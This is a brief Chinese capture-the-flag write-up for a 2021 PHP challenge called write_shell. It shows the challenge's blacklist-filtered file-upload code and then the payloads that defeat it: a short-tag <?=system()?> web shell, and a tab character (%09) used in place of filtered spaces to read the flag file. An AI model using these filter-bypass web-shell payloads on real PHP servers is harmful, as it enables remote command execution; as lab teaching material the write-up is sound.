[红明谷CTF 2021]write_shell
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36
| <?php error_reporting(0); highlight_file(__FILE__); function check($input){ if(preg_match("/'| |_|php|;|~|\\^|\\+|eval|{|}/i",$input)){ die('hacker!!!'); }else{ return $input; } }
function waf($input){ if(is_array($input)){ foreach($input as $key=>$output){ $input[$key] = waf($output); } }else{ $input = check($input); } }
$dir = 'sandbox/' . md5($_SERVER['REMOTE_ADDR']) . '/'; if(!file_exists($dir)){ mkdir($dir); } switch($_GET["action"] ?? "") { case 'pwd': echo $dir; break; case 'upload': $data = $_GET["data"] ?? ""; waf($data); file_put_contents("$dir" . "index.php", $data); } ?>
|
可以看到,对我们做了很多的过滤,但是没过滤反引号,但是system函数是可用的,所以反引号的用处不大,我们先去获取路径

我们直接构造payload如下<?=system("ls")?>
,这个非常好理解


我们继续查看根目录的文件,但是这里空格是被过滤的,我们无法写入的而且如果想用&{IFS}也因为{}的过滤而无法实现,而用$IFS代替空格也失败了,这里我用的是制表符,即tab,%09,相当于4个空格

最后,<?=system("cat%09flllllll1112222222lag")?>
就可以了